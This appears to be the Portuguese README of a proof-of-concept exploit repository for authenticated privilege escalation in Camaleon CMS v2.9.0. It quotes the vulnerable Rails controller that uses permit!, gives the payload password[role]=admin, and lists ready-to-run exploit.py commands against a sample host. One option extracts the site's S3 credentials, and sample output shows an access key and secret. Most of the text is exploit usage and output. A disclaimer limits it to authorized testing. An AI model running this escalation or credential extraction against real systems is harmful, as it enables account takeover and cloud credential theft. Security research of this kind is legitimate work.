
Escalação de privilégio autenticada no Camaleon CMS v2.9.0 via manipulação inadequada de parâmetros no endpoint updated_ajax.
Alvo: Camaleon CMS
v2.9.0
Tipo: Escalação de privilégio autenticada via mass-assignment emupdated_ajax(campo role)
Extras: Extração opcional da configuração S3 da página de configurações do admin (se o usuário autenticado puder acessá-la após a escalação)
Este repositório contém um script de prova de conceito em Python que:
/admin/profile/edit.updated_ajax para atualizar campos password[...] e abusa de permit! para definir password[role]=admin.-e) extrai valores de configuração S3 de /admin/settings/site.-r) reverte a função para o valor original após a execução.Este comportamento corresponde ao padrão inseguro de mass-assignment descrito no advisory relacionado:
A ação do controlador abaixo atualiza um usuário com permit!:
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
Como permit! permite todas as chaves sob password, um atacante pode enviar:
password[password]password[password_confirmation]password[role]=admine a aplicação aceitará, elevando a função do usuário.
admin.requestsInstalar dependência:
pip install requests
python exploit.py -u http://alienone.in -U test -P test
-e)python exploit.py -u http://alienone.in -U test -P test -e
-r)python exploit.py -u http://alienone.in -U test -P test -r
python exploit.py -u http://alienone.in -U test -P test -e -r
python3 exploit.py -u http://alienone.in -U test -P test -e -r
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIAF3A388ECF117D966
s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
s3 endpoint: http://localhost:54321
[+]Reverting User Role
User ID: 5
User Role: client
O script verifica se o HTML retornado contém um link /admin/logout após o POST de login.
Se o link de logout estiver presente, a sessão é considerada autenticada.
O Camaleon usa CSRF no estilo Rails. Normalmente você verá tokens em dois lugares comuns:
name="authenticity_token" value="..."<meta name="csrf-token" content="...">O PoC obtém o meta csrf-token de /admin/profile/edit e o utiliza em:
authenticity_token=<token>X-CSRF-Token: <token>Este código é fornecido apenas para testes de segurança autorizados e fins educacionais (ex.: laboratórios, CTFs e ambientes onde você tenha permissão explícita).
Não o utilize contra sistemas que você não possua ou não tenha permissão para testar.
| Opção | Descrição |
|---|
-u, --url | URL base (ex.: http://alienone.in) |
-U, --username | Nome de usuário válido |
-P, --password | Senha válida |
--newpass | Valor da senha enviado na solicitação de atualização (padrão: test) |
-e, --extract | Extrair configuração S3 da página de configurações |
-r, --revert | Reverter a função para a original após a escalação |